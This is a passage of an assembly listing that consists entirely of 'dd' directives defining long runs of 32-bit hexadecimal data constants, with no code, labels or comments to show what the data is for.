dd 9E7A0E84h, 52438764h, 0C591DC7Eh, 5EDA2300h, 0DE3B42CCh
dd 71E600D2h, 11A90A72h, 370060C7h, 17D3452Bh, 6C1F2838h
dd 0F7D9A90Dh, 0F9F07D41h, 0FC0E0B78h, 4D0069B9h, 14515DC3h
dd 0B6777601h, 5A6FFF82h, 743041D5h, 326C880Eh, 445DC100h
dd 0F61534C4h, 9894007Bh, 81FEBC75h, 88CE1856h, 0F3A408Ch
dd 942B197Ah, 9C41805Ch, 0E7F0B363h, 0A7E49200h, 603BF93Fh
dd 0D59D0407h, 0CAD81871h, 0B8AC58B4h, 734306h, 785C6608h
dd 54A94FD9h, 386B827h, 0ABC4B6B9h, 3100107Fh, 0C9A11147h
dd 2D368h, 0D13E8D1h, 3D2641CCh, 10E31704h, 0D0CC2A3Bh
dd 5C389629h, 36095946h, 7780B4D9h, 25FE094Bh, 2403F524h
dd 2700772Ch, 1F1037CFh, 12081692h, 88108ED1h, 2A0EC07Ch
dd 1018BD33h, 28F915F3h, 9AC0A89Fh, 0D6AE0070h, 29A70809h
dd 0B00B9EFDh, 847D9227h, 0CB5203B4h, 0CBCEC858h, 0BD89100h
dd 192486A3h, 62088877h, 0A9CF0F7Ah, 438F91B8h, 9A293Bh
dd 5834396Bh, 6108011h, 6D97153Eh, 3D468004h, 3EAE7902h
dd 0DB31631Eh, 0AEC1DE10h, 380076F4h, 0EB931890h, 0FC2AA54Eh
dd 132F4AFDh, 165E0BD8h, 6D0AC849h, 61068F60h, 0D3D2229h
dd 8F0AC040h, 4CB54C46h, 19922B03h, 83E4CCE4h, 83F490A8h
dd 8BC8758Ch, 1031E1EEh, 197D1862h, 448CD870h, 3C0FB96Ch
dd 0E9577363h, 6104ED09h, 0D4D0F90Ah, 0B7FA8A9Ch, 0C0040E90h
dd 0B3DB8BF4h, 7EF234A2h, 0B0980930h, 4EEE2050h, 8E0028FDh
dd 2EF4911h, 78BEA611h, 79F0B160h, 10E18D9h, 1CE272DEh
dd 42B19769h, 8C2019C0h, 0C2D3DBFCh, 0BE1DC970h, 0CC9228EAh
dd 6156FC84h, 97DCE513h, 0C0B0B91Dh, 5AE53BD1h, 8644C907h
dd 0CBF28D1Ah, 0C04604DBh, 4E21514Fh, 2C520E26h, 12603944h
dd 972517E5h, 35D896F5h, 203AD8h, 0D9523F5Dh, 7401FD9Fh
dd 165DA086h, 0C8FAEC97h, 0A0371104h, 0C79E74h, 5B5FF202h
dd 657A228Dh, 48D48A80h, 1C4C091Dh, 51EE017h, 800B39F0h
dd 0BD222B30h, 1638B948h, 704075BAh, 5EEC4335h, 81D89CD8h
dd 251E5FA9h, 90844562h, 7F5585A0h, 7CB821C1h, 2822E5F0h
dd 42D8A27Bh, 14D80034h, 5FA2819h, 740DF356h, 0B524B4C0h
dd 102CFE48h, 38C0F7E8h, 6408C760h, 33C07499h, 1AE6050h
dd 142EDB68h, 0DC6D1ED0h, 0B49211A8h, 0E3CA9500h, 4EA20B9Ah
dd 6A89009Dh, 0D90784A1h, 0F8B010F8h, 1602C146h, 338B1455h
dd 66606CD1h, 28C550Dh, 0B48A7211h, 0A8806338h, 999C2A8Fh
dd 2700F8B0h, 87BCED5Dh, 5032A75Eh, 1C9B003h, 0A12BB150h
dd 0F8D06AAEh, 2401AA94h, 8F9B62DFh, 0F82C9E72h, 78048A0Fh
dd 6488583Bh, 2700A894h, 0BB0732B1h, 17B27216h, 4C83697h
dd 87A2C6A4h, 0A87FC198h, 0CBDC553Dh, 0C0FCC8C8h, 0F1D87E64h
dd 0AC02F8EEh, 8A1CA449h, 0AECA00Bh, 2EF745BFh, 730C2A8h
dd 97BB4932h, 430D947Eh, 0F01510E0h, 0E467464Ah, 0CDCF0481h
dd 91A52BAEh, 0C02D5108h, 0FE004E3Ch, 188632B9h, 314C62Ch
dd 0AEE00734h, 0CEAAB493h, 33206C40h, 0DFF01606h, 1E8AB21h
dd 505863B8h, 31B18D10h, 4CDC28D3h, 807C2D64h, 837F0684h
dd 9C7D5C36h, 34C432Eh, 6CF15A20h, 0B4732002h, 9E3ECFCCh
dd 39222320h, 9150172Dh, 98A5C2D4h, 0AA584987h, 0EA000C72h
dd 5EE26831h, 10A0F5BBh, 0C37A153Bh, 57FB1300h, 2BCE6574h
dd 2E285F5Fh, 5A2318h, 0F3051440h, 2B31D3C8h, 255A99D1h
dd 0E0AE2D0h, 8475A439h, 626D360h, 3D00552Ah, 60799C63h
dd 5B45E28h, 14C58BB8h, 0E404F52Dh, 0E35FEC96h, 228F1002h
dd 0F9745836h, 80D323E8h, 289C7F90h, 47A60780h, 137A63h
dd 0FA5A1150h, 14186591h, 0B49E50B0h, 1CF465Ch, 6EF1C185h
dd 64316F33h, 7882A4F5h, 585A728Dh, 0E8B9B864h, 4018FB79h
dd 777DCE06h, 98A087D8h
dd 165611CCh, 0BDEB1080h, 8BA5771Ch, 88172912h, 5D805791h
dd 9C7BA9A0h, 7DBB8002h, 9B5001A6h, 10D5C89Ch, 0B40C0044h
dd 1B3DCCB7h, 6D592741h, 7881B924h, 0B74AC418h, 92A5F0B2h
dd 13918360h, 5E6A5A6Bh, 0DC90024Ch, 0A888BDBFh, 512204CDh
dd 0A10A420h, 0CD798491h, 7F014018h, 2A8B537Ah, 0D0486686h
dd 8E7B190Dh, 69F61082h, 699B1224h, 11001216h, 0BF392910h
dd 4A38016Ch, 728AC601h, 51C3197h, 88DC8EC8h, 22B3C0CEh
dd 0DF1766ABh, 0B840BF35h, 0CD85283Ah, 9FB40111h, 2147E0A0h
dd 84B84E94h, 0AF307305h, 0C40D028Dh, 0E9C7FB23h, 0ED20F982h
dd 14E8CCBBh, 0D70E5836h, 599689BEh, 0B069F740h, 8AA31607h
dd 0C00DB8Fh, 0B65BD61Eh, 7A1738DFh, 6B4F6021h, 0C9ED1000h
dd 9DE8A169h, 0B7FF086Ch, 36B6DE60h, 2E9E3875h, 45903800h
dd 14113A28h, 46761096h, 7E34015Ah, 4B36A344h, 72F180CDh
dd 2E2B873h, 883B833h, 0C0AA257Fh, 9A8C48C0h, 31C8509Dh
dd 8DD17DEEh, 0B92460B8h, 0A58109F8h, 99A564E1h, 59E4C045h
dd 0A2FA7D60h, 0EBA04A02h, 0A88B7E85h, 0C309C9D4h, 482C49C0h
dd 0D31E0474h, 0C8008BB9h, 0AFE8C301h, 0A45A2BC2h, 0CBB2BE00h
dd 45C6FF87h, 0D28977F0h, 0C458CB81h, 3F3071BAh, 8100AB7Ch
dd 0F0D058Ah, 1FAA67DBh, 6C468CA7h, 807932B4h, 9200C472h
dd 93710918h, 2A1679h, 0DA661BE4h, 0EFE8AFB4h, 0F706B805h
dd 0CC16BA2Dh, 43D43605h, 0B8F20895h, 0CB7FDF1h, 0C5C200D8h
dd 1185DA6Ah, 8F258884h, 379080F2h, 0D31E72B4h, 23903A50h
dd 0F8110057h, 2FBC0DEDh, 96194F1Eh, 0F9AB284Ch, 3D6478B2h
dd 80001D7Dh, 0CD5CD9B8h, 0B4947F2Dh, 3A41FE80h, 0EBCC23F4h
dd 400058EEh, 0BE2643D9h, 0D419C5Ah, 5CEE988Ch, 1465CD0h
dd 80F2317h, 8785D3A0h, 0EF00B56Bh, 0C7A70538h, 39F074h
dd 606E78D4h, 93BB7CCCh, 553AD3Ch, 71992411h, 418BDC88h
dd 0D74C29A5h, 358000DAh, 0DCF7E3E9h, 43B48C16h, 0ACA3A080h
dd 0F14046Ah, 0F4A88FAAh, 4F00BC08h, 993670B3h, 1EA5DC3h
dd 1B5CF2C5h, 0F4E2F6CEh, 42183C0Ah, 0B8E92511h, 0B497958Fh
dd 7C9A7F91h, 0D100FCD2h, 0A8E2793h, 28019FAh, 54131AFBh
dd 0FCE8782Bh, 689E9FA5h, 3910AA8Ch, 3D070026h, 92DECFF1h
dd 2500AD04h, 4E813FD3h, 11F0AFC5h, 7EF6B6h, 9C9A7CAEh
dd 8E1C01h, 0DAE5B4D7h, 1796E1AFh, 5CAB413Eh, 84212458h
dd 0F84674h, 1E35EB08h, 25B98D86h, 0F01720F2h, 60B81488h
dd 627A8BA4h, 7C0F504Eh, 89A7E5DDh, 52AA3888h, 2800D808h
dd 0EC5B70EEh, 0DA2A6D19h, 0D49CCC9Ch, 0BB5102DCh, 0F5DF5E6Ch
dd 8D18DC68h, 2ECEE3A1h, 712E8044h, 0E506C51Fh, 23342B08h
dd 61E905D4h, 0A1E4B3F7h, 0D80CB817h, 0E8FE1201h, 2A728D8Fh
dd 60006C28h, 0B7CF499Bh, 85CB866h, 8CD9BC80h, 0EE463400h
dd 0A7F0EDCFh, 0E7950076h, 11AB0E59h, 0C91FE7Ch, 0D618FFD1h
dd 0E08BD0Fh, 0FD0F8166h, 8CCC3F4Bh, 7A8D0B79h, 40E865E2h
dd 70BCA903h, 1FC4676h, 3E12C845h, 0FEEC8322h, 5875F6D8h
dd 0A217C4E6h, 81508004h, 14BA0FE8h, 465CE496h, 0FA30057h
dd 6D153BA8h, 76212BAh, 0A4B4029Bh, 7478BBB4h, 7606C612h
dd 5E204F2h, 88B0032h, 4DED69Fh, 0E96D111Fh, 816CAC82h
dd 165092B7h, 0B392C0BDh, 4860F0FBh, 0F0E61544h, 6D8E26F6h
dd 0BB215E98h, 0B6938371h, 0D6988396h, 14EEEFD4h, 0D8D56FFAh
dd 80E880B0h, 72AE8D0Bh, 40A4B68Bh, 18352694h, 0EEC67A01h
dd 2C92BEA5h, 1490032Ah, 3AB57EE3h, 175A23BCh, 2D00BBB4h
dd 0AC4687A8h, 0DCF0B4F4h, 40BDDE00h, 0BFECB70Ch, 41D8C2CBh
dd 1C720A7Eh, 0EF50E200h, 29FC5616h, 0B14202AEh, 2B108B45h
dd 0DC87A054h, 5987CB8Eh, 8F6D7A11h, 58CCD3CAh, 0E316CE27h
dd 500462FEh, 380BD86Bh, 6AE2E018h, 0C98D010Fh, 8E72A48Bh
dd 79243CA8h, 97A703F4h, 0E04A23E4h, 7F23F02Fh, 8804F317h
dd 2902C089h, 3078D122h, 0DA970A13h, 186F68C1h, 810918Bh
dd 0DC625C12h, 0DCB65400h, 0C0C2AA43h, 0F91F76A5h, 18577908h
dd 0C76D00BFh, 0B604B9FCh, 3606AFFFh, 3891A7BBh, 8A8424E9h
dd 82E24E88h, 60E4103Ch, 757F8E02h, 0E95DAD43h, 0BC14E62Ch
dd 8C01BCCCh, 56495A0Ah, 0C00382Bh, 693930ACh, 97722F8Eh
dd 0CF91041Fh, 58DD5080h, 8CE8FB25h, 973DA027h, 80DA9134h
dd 7DD8FDEEh, 2C94FCC8h, 0DE00E566h, 7A971D01h, 92FF93EBh
dd 40A6C464h, 5D59DA4Ch, 34843DBCh, 6CB239E5h, 4530DCF2h
dd 0E4AF0F0Fh, 0EE0076Ch, 71CD7E4Fh, 46764496h, 5C3D3F08h
dd 5A2904A2h, 34FCFF89h, 6B5EE039h, 0E0D500D0h, 2B9AE735h
dd 8D810025h, 18998C60h, 0AA12EE2Ch, 0C8F056A7h, 75851F15h
dd 72F8C0C1h, 5DB034DFh, 9E00A87Bh, 6B97482Ch, 25A746h
dd 0CBEED5ABh, 8E8C8B6h, 24BE313Ah, 0C3C201Bh, 11C49674h
dd 10576A8h, 27045E1Ah, 982C47B2h, 8521AF08h, 6C40F1Dh
dd 0BBE061DCh, 5C81E9B6h, 11EDDF0h, 0D114F02Bh, 52550E08h
dd 0C2A30083h, 67A0D653h, 0C2BF18BEh, 720009B3h, 67FF631Bh
dd 11C860EDh, 406CF37Ch, 6BC352C4h, 0C2084766h, 742D0021h
dd 951AFEF3h, 9B00103Dh, 600F2E6Ah, 0C8D54271h, 21CF6D50h
dd 4F536EF3h, 2B20D619h, 3FF34Ah, 0C1A770Ah, 66D88246h
dd 5FA8DA50h, 0AFAE5714h, 0F8E3EA0h, 83308D53h, 6413A2FFh
dd 606C7040h, 236DF37Dh, 0C4117753h, 0F3752A00h, 56B26201h
dd 160F830Fh, 9A0E40C2h, 54B3B86h, 2352357Bh, 0D990023Eh
dd 0DC80A980h, 8B53B51Bh, 0EB182F60h, 0A0C168DEh, 15C1DA8h
dd 0CCC70BABh, 9FBE06F5h, 0E50F1031h, 0F097036Ch, 3B190007h
dd 82030465h, 0EC19A369h, 3D08719Ah, 6D5A2180h, 0C20DFB04h
dd 6B042F76h, 155D806h, 76C08241h, 629043CCh, 3C84C1F8h
dd 0D486570Ch, 1AF90A9h, 6D8AE609h, 424B1A97h, 5C20D890h
dd 0E24CB479h, 544A00C0h, 70B2B864h, 93032907h, 4D080697h
dd 308866Dh, 1B135561h, 0BED1586Fh, 19644893h, 82210477h
dd 6146C009h, 2600FF04h, 884AFA0Fh, 0C5F5E0Eh, 0EED44922h
dd 0A7145D50h, 500853C1h, 0E18C4B88h, 465E65D8h, 30AD222Ch
dd 0E4201888h, 37FADB02h, 28F94401h, 0A7E13C42h, 8C607024h
dd 69F37902h, 16519753h, 0F3712E00h, 0EC59FA0h, 15AD0287h
dd 37830A34h, 0DB6DFC81h, 0A2DC23B0h, 3D0C30D3h, 72D80E0Fh
dd 10E20950h, 38AB702Ch, 5F803E0Fh, 0E7F17DDEh, 1F0A8951h
dd 0A80DF357h, 20494F80h, 2CF8693h, 6E75B4ECh, 0F0800867h
dd 667D3BD8h, 0C9DDFE30h, 0D13370h, 94EEDC3Dh, 0F975CA90h
dd 0E0CE5207h, 9D5091BCh, 480B6660h, 53095D8Bh, 202704B6h
dd 119C8A14h, 0F3788067h, 8C9F5368h, 11C144h, 95D7F370h
dd 0BF5CC546h, 0DCA26124h, 0F6201801h, 9C5234D1h, 0D8073176h
dd 74465E18h, 8302D022h, 15EAC41Fh, 5BD94082h, 0D36D1247h
dd 961849D1h, 4644830h, 61820211h, 45893388h, 80BC0E6Ch
dd 61D0B896h, 9DF0063Dh, 0F014BEC7h, 97E18F3h, 6F536AF3h
dd 2F265C9Ch, 0F41F9476h, 36D591C0h, 60C2C102h, 6FC9E8D2h
dd 80A0A7F2h, 0F4A8A8E2h, 0E0002BF4h, 55330398h, 21C1EE4h
dd 0FEFCDF1Fh, 0F00309A6h, 7EB1041Ah, 9026FA3Dh, 0B289D964h
dd 0E2812C99h, 0D5A6F885h, 0D118708Ch, 6E19D998h, 7128BD6Fh
dd 4CE10430h, 0A70C417Bh
dd 7890B1C9h, 972A2B0Bh, 3700090Dh, 9B2A87D8h, 0CE098018h
dd 0C735929Ah, 0E80420EBh, 0C0050F9h, 0C36FD89Bh, 976D91C9h
dd 80319184h, 5CFE209Ch, 4B9130A7h, 0ACF88458h, 2048C58h
dd 7987D9C8h, 2B8C80C7h, 0C52A1F0Ah, 48A7F3D8h, 18C0923Ch
dd 46820604h, 1362201h, 0C4046041h, 24D894FBh, 0EC009544h
dd 11867A69h, 5BAFEBh, 8AF8668Eh, 42F729C1h, 0D4E7C528h
dd 23C88489h, 30C4A228h, 34008CC7h, 9E75DD27h, 0FF53E31Ah
dd 0CC20B7C1h, 918E6A95h, 0AE4674A4h, 1CC53F1Eh, 6F58C217h
dd 0A49B30C0h, 8982916h, 0CD16C004h, 0C5A9D900h, 575C691Ch
dd 88DE305Ah, 0A2475E1Eh, 61C800CBh, 0C0B1C2Bh, 0E6C8529Ah
dd 0E4997D48h, 8C18D279h, 7531F406h, 19C195h, 5EE9C5A2h
dd 0AF793673h, 6017FDFEh, 6804EC2Ah, 8007A668h, 32089104h
dd 0C93983D7h, 165D0A5Fh, 6D1FA0h, 0C334EB64h, 0FEE28CCCh
dd 0D4076E45h, 0F373C068h, 4743536Fh, 0C04B2884h, 86B74A74h
dd 5E0E3E78h, 0E6532B05h, 2690B244h, 60DCC7CEh, 0DBE567DCh
dd 52668501h, 779045D0h, 0C5A24C63h, 7A0F30h, 6F1A8A59h
dd 7BE3346Bh, 32177990h, 5845353Bh, 0C008E5D1h, 6103C74Ah
dd 23145E64h, 60878E10h, 55DC7AC4h, 65162603h, 42A11231h
dd 0A6DECB0Ch, 0F6569840h, 0A40F1100h, 1DDF6E2Fh, 0FBD901B3h
dd 0C43B3142h, 0F25023C1h, 0F3CF30D1h, 0BD716603h, 180D2F5Bh
dd 89B786D1h, 23302A35h, 0C455181Ah, 84080617h, 49DB9496h
dd 0F006AF4h, 47C6536h, 0EB0BABFh, 0F0062F82h, 1D6C0456h
dd 5EA4C8E3h, 7FAD6C00h, 7CC6B35h, 883683Dh, 9473007Ch
dd 0FE6045ADh, 9BC4EE54h, 0F78F3C00h, 0F010258Eh, 306C4C8Ah
dd 0C38C3FBCh, 17354D64h, 9D65DD98h, 0BCBB8F09h, 0E4184580h
dd 0B4CC6037h, 8700B967h, 3088AAC3h, 32946018h, 77A50200h
dd 7E429A46h, 0F6157AE5h, 0B4182069h, 28C0156h, 357BAD68h
dd 0C75A304Bh, 907780h, 9BD2BDADh, 1DF73E2Ah, 0B9920B04h
dd 78B5BFC8h, 8C98BC20h, 11046638h, 32887182h, 46E5B80h
dd 1376D46h, 0B524EDCFh, 40219B33h, 0D4B1E9F8h, 50B0DA48h
dd 34400310h, 0FC1A4CB8h, 14367F10h, 23F46A8Eh, 0AD69011Eh
dd 18733578h, 917088A6h, 0D77CAD01h, 0FF81EACBh, 48EE05C8h
dd 87FB077h, 3E6F322Bh, 1D5F0600h, 6B666DD8h, 443740BCh
dd 0B142C380h, 162185h, 0CA8E4617h, 0F2BED8D5h, 0DCBF20F1h
dd 0D0327C91h, 8A6D311Ah, 689335B0h, 0AD95E853h, 0B04A003Ch
dd 42B3845h, 81C709F3h, 8FC0D780h, 0CF2D13h, 0BA96D55Ah
dd 0FFFD5048h, 0E8D4EC58h, 0F53B8C3Ch, 99B40032h, 556A486Bh
dd 0A4FC28DEh, 4694A6D8h, 41F0291h, 9C398209h, 67400094h
dd 3C28CA04h, 2C267792h, 70116CE6h, 9D6098Eh, 10656448h
dd 0C4018183h, 5F89E8DAh, 13D2F8BCh, 6F6F8550h, 7C1500C0h
dd 0C0E2954h, 5C6B044Ch, 86A1F5BFh, 0D817A078h, 3C3F7250h
dd 4E003F23h, 0AD7D03AFh, 8DE603E7h, 0C0C41623h, 8647D101h
dd 0BF17208h, 0F80632F0h, 0EE7A0312h, 0C65981D9h, 0BC742849h
dd 67840CBEh, 4E910EF0h, 8071F901h, 0BD5662D9h, 7B4498E7h
dd 2E201782h, 6D1000CAh, 0EE2A610Bh, 0BB8C0E00h, 0AF06ABF1h
dd 10A14A44h, 0C0E8B464h, 2FBA0E8Ch, 99FD4450h, 0E1E79134h
dd 0C402CC4Bh, 0C781A50Fh, 3D7C07Fh, 2822FD54h, 25C897F9h
dd 3CA2A8D1h, 0FF07CBD6h, 3361BCh, 3DDA01B7h, 0D96C2BD7h
dd 1B818379h, 237C98EBh, 35B61362h, 188C08C4h, 72AD6FC1h
dd 0BC2383F9h, 0AD977E80h, 0A201B62Dh, 5BB4F224h, 1C3026FBh
dd 44575A27h, 46BF3000h, 0B9992AFFh, 18DC79C4h, 20084CD3h
dd 96120F01h, 23A85C1Ch, 3036A2B4h, 14987A73h, 7CF35529h
dd 0CD18A771h, 0CB81F301h, 0DC6630C0h, 0C9B7BC43h, 989F4458h
dd 0F9C7190Bh, 0E28C6847h, 19751994h, 4E8AFB06h, 86B02C1Ch
dd 5DC41A00h, 0A8D6CDA6h, 474B4ADh, 0B30CCB42h, 30C7B274h
dd 2101287Bh, 98833F92h, 0D9E4E21Ch, 0D25E05ACh, 132BF0Ah
dd 18D65330h, 0B4B068A4h, 0C4B2A4B2h, 0FE7F30h, 6B67E5E7h
dd 0D938BB27h, 0D884D000h, 872D1BA9h, 60D61855h, 0A3370D7h
dd 803B4F20h, 861932A4h, 0D1719891h, 8809FE18h, 909560ADh
dd 666C33Ch, 1623F16h, 0AB217009h, 18519124h, 0A2C9EFE0h
dd 0B384033Ch, 42F88D88h, 6A0880CCh, 963B9A0Eh, 30D0C821h
dd 55621922h, 3032F414h, 0D5582B67h, 4432AEDBh, 0C1535173h
dd 2900BF28h, 485B575Ah, 0DF23603Bh, 0E2073602h, 0E96048B4h
dd 900A00EAh, 0CA75D997h, 64A20F79h, 0AE14B402h, 97E6BF02h
dd 80C11138h, 92C3344h, 1A713DCh, 4E64904Ch, 208434DBh
dd 1E00C226h, 0A3F39946h, 19A2ECCh, 0B2E9648Ch, 406D664Eh
dd 613A584h, 841C0FE0h, 638057Ch, 169DB58Bh, 368D711Ah
dd 180C1B21h, 0B01F2D20h, 0B232C3F4h, 55806A44h, 3EDC03E8h
dd 0C35D2007h, 246C8920h, 44813304h, 21001708h, 7BC35545h
dd 0D598FBCh, 21D98D29h, 0CB1B4056h, 145299CFh, 3019E22Bh
dd 2B017363h, 0F91435Fh, 1F961A82h, 0D701856h, 0B4002C51h
dd 9453EA9Dh, 0DF6F66h, 0AA1C3DB5h, 15E23225h, 0C75E5F00h
dd 6B340441h, 8BCE2670h, 1012304Bh, 3118D6D7h, 0EB5307E8h
dd 0EF3F00BBh, 1A8528Fh, 0A0A93D8Dh, 66C89B5Fh, 9185DA3Eh
dd 0BADB31A6h, 0E8900119h, 0D94B8F0Fh, 570E0D8h, 0FD6FF4h
dd 0E1738149h, 0F4D5212h, 2BC6B7B8h, 0B0EE9h, 1253E8E6h
dd 0DE37195Ch, 701E51E6h, 5F4C7366h, 50FB7E50h, 40E5E090h
dd 951BFF09h, 2B0C1179h, 0EB556A2h, 8944C35Eh, 463874h
dd 7D59C356h, 334212F1h, 0B9666007h, 0C35F7CA7h, 714E958h
dd 52E2712Dh, 8741D07Dh, 0AF3C1159h, 64BB80E8h, 4693B53Dh
dd 61093850h, 949936C9h, 0C5591851h, 224C8974h, 4124164Ah
dd 89D382C0h, 0D44E9060h, 80186C17h, 81660D05h, 4911F715h
dd 0E91240EDh, 0C80B0960h, 1DE5775h, 0E001A639h, 20C00B63h
dd 28A04A8Eh, 0AADCFABFh, 0E9294F90h, 338500C9h, 2ECA724Ch
dd 0BC691200h, 74EFDE15h, 29A402FEh, 0B8C3B2F6h, 0F18B48A0h
dd 0A193E1FFh, 0D065F079h, 53239C0Ah, 44C35B0Eh, 15625C89h
dd 0C3534320h, 662A05FCh, 1B9C0BEh, 0AA727C9Fh, 88274B44h
dd 0FB2EC01Dh, 0FD0F0AB9h, 42557036h, 92830FC9h, 0F3B2B8h
dd 9589F982h, 2D2B4D35h, 153CCE40h, 68CE7875h, 3749BFACh
dd 5048D9D6h, 0C3725818h, 11448923h, 50400E1Bh, 2C93E0C3h
dd 14BDC99Eh, 0B531831Ah, 0BC352321h, 810FEB60h, 9243DD1Fh
dd 0E899228Eh, 0D3051244h, 0F896D8C9h, 315D2EC0h, 0ECA200B8h
dd 0A67F8D51h, 0E606BEBFh, 10E9505Eh, 0A23D0035h, 0B7418C3Fh
dd 0A0F18E7h, 82E6F416h, 7D8D308Fh, 0C183B74h, 3CCF0231h
dd 0C1071164h, 0F21CB7C0h, 0FA45FA34h, 3958B02Bh, 240B4C3Ah
dd 0D941AD38h, 884022F3h, 0C35AC352h, 4A548991h, 72422C2Ch
dd 4353E704h, 1A23DC98h, 54304DBDh, 0E51DD7BAh, 5B801411h
dd 0D61BD8Bh, 88EB52D4h, 60F8925Fh, 0A59D89E9h, 0D70C0E6Ah
dd 15D93C21h, 224C3218h, 70622DBh, 0FAABE681h, 0FD080951h
dd 1A465C2Bh, 26C3517h, 0A223BDA9h, 2591C094h, 65181C71h
dd 91FD8700h, 8F1B8D35h, 0A5C6A0CEh, 54CA2C95h, 4A00DE10h
dd 0FAB7FE59h, 2C8589AFh, 72F22071h, 1C117F15h, 802B680h
dd 0CD09B179h, 2013A9F8h
dd 5F596911h, 0FEFC48CEh, 23602AB4h, 39BE1814h, 26E35F51h
dd 0F08846F3h, 0B8D10FBh, 8916C548h, 0FFA83889h, 0EB443A80h
dd 0D34A4700h, 59572685h, 0FAD12401h, 8F6881BBh, 0A80F6DB5h
dd 0E8ACF96Ah, 19916FA0h, 0E944DAB9h, 9B86088h, 1C98C78Bh
dd 0D5B5B438h, 2ED21543h, 1723BDh, 0A1B51BE3h, 25A2860Fh
dd 524CB791h, 5F30572Dh, 5389E4C3h, 4781C87Ch, 6073C357h
dd 0D593F716h, 0A6A9CF29h, 0D01818F1h, 1D478400h, 0E9CA033Ah
dd 0FFF23860h, 40C0E8A6h, 0EAFEC251h, 86D6B601h, 97C1AD84h
dd 0EF97C30h, 0BD8963FDh, 0A8E7342Ah, 0C18B2917h, 1814D1A0h
dd 0AE93372h, 3588B113h, 0A026362Dh, 7C0A8966h, 0FA68D1EBh
dd 2A1326h, 0A2ACF953h, 0DE6F3019h, 0E4E80101h, 3880F7Ah
dd 2E587573h, 1EA98508h, 0E59D3104h, 0BE91691h, 0F0532980h
dd 8A76DF5Ah, 0DB0034ECh, 509030C2h, 55CBF52h, 0F5F2D18h
dd 0FAE00331h, 90F0585Ah, 43C708E9h, 24A0401Eh, 692D1D60h
dd 509DC84Eh, 0CF8B1411h, 232D2582h, 0C909CC08h, 0BFDA101Ch
dd 0FDAA18B2h, 0F5CFD64Bh, 129D1649h, 0A32134E1h, 83000961h
dd 310C05C0h, 122835B5h, 94BF0E57h, 87F29E3Ah, 251982ACh
dd 5B37C74Ah, 68E92189h, 536F00h, 0AC44508Bh, 0B0CF308h
dd 0C91A2A79h, 37648480h, 58AF80F3h, 0EFBA9FDDh, 113D8CA0h
dd 7F286081h, 978E7C80h, 4D180D96h, 0BF9663CBh, 35614CD0h
dd 3207F11Ah, 7D804035h, 0BBDFB591h, 9D525033h, 0ACDD4C4Bh
dd 0A36A9D0Ah, 0C89426C5h, 0E0ED1EC5h, 3BD3FF29h, 0A8181571h
dd 85FFDA0Dh, 0BA3B4BD9h, 0B529E121h, 67242CF1h, 0E80840B4h
dd 5D021FDCh, 48D9ED81h, 0EDBD0313h, 0C6CE9A57h, 4E0C0B21h
dd 40212D0h, 0CF018578h, 0C0168870h, 603DF62Ah, 39F78000h
dd 0EF8161F5h, 4AE40372h, 119D8B0Dh, 88B2CF8Dh, 59C6C31Dh
dd 82FE8A8h, 0C8A27C1Eh, 1AE3818Eh, 915E9DB6h, 38308118h
dd 0B0743A69h, 0DB054421h, 0B0850F1Ah, 444BC72Dh, 58546614h
dd 9CC761F7h, 1F73808Eh, 2613BD83h, 5ED316F4h, 8125003Ah
dd 0CD59D4C6h, 8D158907h, 34F12A25h, 0DFDB8D75h, 4FA400DFh
dd 5133E218h, 5B99ECCCh, 85C7285Fh, 5AD9947h, 120A810Fh
dd 0D111A06h, 0E5E97D83h, 91432D93h, 3015A2E7h, 0ED9C3650h
dd 0DC41F214h, 8DF92422h, 8150601Ah, 660E23D6h, 0FD5F241Dh
dd 5CFEFF8Eh, 46749CECh, 8C75001Dh, 0DB027B37h, 0E34116C0h
dd 4843128Dh, 660F14A8h, 9E04F28Ch, 0F60A2BA1h, 53D920A6h
dd 1CF28069h, 0CDE6D033h, 0D7010C67h, 95CA3558h, 0D121112Eh
dd 706002F6h, 0A288CCDFh, 1B7976C0h, 42FE9081h, 8FFA4245h
dd 600E316Bh, 616E76B6h, 12BF9020h, 663B5CE4h, 2204ADE9h
dd 50509A5h, 0C8AACEB0h, 78FFC018h, 0E6EED599h, 0E26E7052h
dd 6A5D301Ch, 0F404FEF8h, 0BCD83F8Eh, 0E4F6EEC0h, 19A6C471h
dd 0B6DF1E11h, 4674D8E4h, 8F2E031Dh, 80F6F79Bh, 12AAE458h
dd 7E06BABDh, 0E11000BCh, 5AA43191h, 5C39F18Bh, 6A2DC5B8h
dd 374B105Ch, 0F7930054h, 50AA59DEh, 3900BC6Dh, 0B92185E4h
dd 532D40h, 8B60FDC1h, 0FBB70FC2h, 0E8176179h, 90B0304h
dd 1189013h, 0F7668015h, 0C08CE25Ch, 0B97AE6ABh, 753A006Bh
dd 0B1197E41h, 8912D82Bh, 2E56A19Dh, 90E89309h, 0FE16A915h
dd 0C08F014Dh, 2A7BDF75h, 1C1D605Eh, 0E8952448h, 10098C17h
dd 82B0236Bh, 234B187h, 61C4B5FFh, 2D602B8Dh, 0B945DCB4h
dd 1DE09E1Fh, 33F4C131h, 20FD880Dh, 4EEDA9C9h, 0C01A8833h
dd 0C86BF776h, 0C635B228h, 13F5BD12h, 0DAE8A722h, 0EE230081h
dd 0A5C65157h, 0D51EED48h, 0A1443E7Fh, 9B855EE5h, 0A184C7DBh
dd 0C8A252h, 404A42B3h, 9E5B4D4h, 5E987D16h, 0B589A101h
dd 3CE9501Dh, 83120F61h, 7C3E028Eh, 0BA001A23h, 295E258Eh
dd 666A02B8h, 1DA2DE81h, 8589D048h, 53C8095Dh, 7F602CB1h
dd 0E28C0400h, 70952B38h, 216181D9h, 0B8CE399Eh, 0B3BE668h
dd 6C9B50Bh, 26D780A0h, 5F49EB8Eh, 0A2AF438Ah, 73BB3019h
dd 20EC0300h, 25DF816Ah, 33CB2452h, 995A6A5h, 9702E6A0h
dd 9F0A1161h, 90583623h, 0A8DA0992h, 0E80238FFh, 0CD9D58F0h
dd 0D6851511h, 0F3B50019h, 3CF85228h, 373B0AB3h, 61060B8Eh
dd 0E288FEB0h, 8141BC01h, 0B96079D6h, 0F2806307h, 20453114h
dd 1240AD87h, 35C14883h, 1C8C18ECh, 2F07919h, 65BD2992h
dd 0B696F658h, 0FD93B00h, 0A7012886h, 601B4456h, 289E3633h
dd 4CF4C853h, 0AFC0C40Eh, 0CA892D06h, 49DF1300h, 6D289A93h
dd 9EA505C4h, 1621AAC0h, 0D92400D5h, 1B8560BEh, 0F7811E00h
dd 520444A4h, 29C15DF6h, 309FB627h, 0B1831A11h, 4BB0523Ch
dd 27BB2D8Ch, 0AC7C5B15h, 98A37196h, 86DC0FE0h, 9B522BB2h
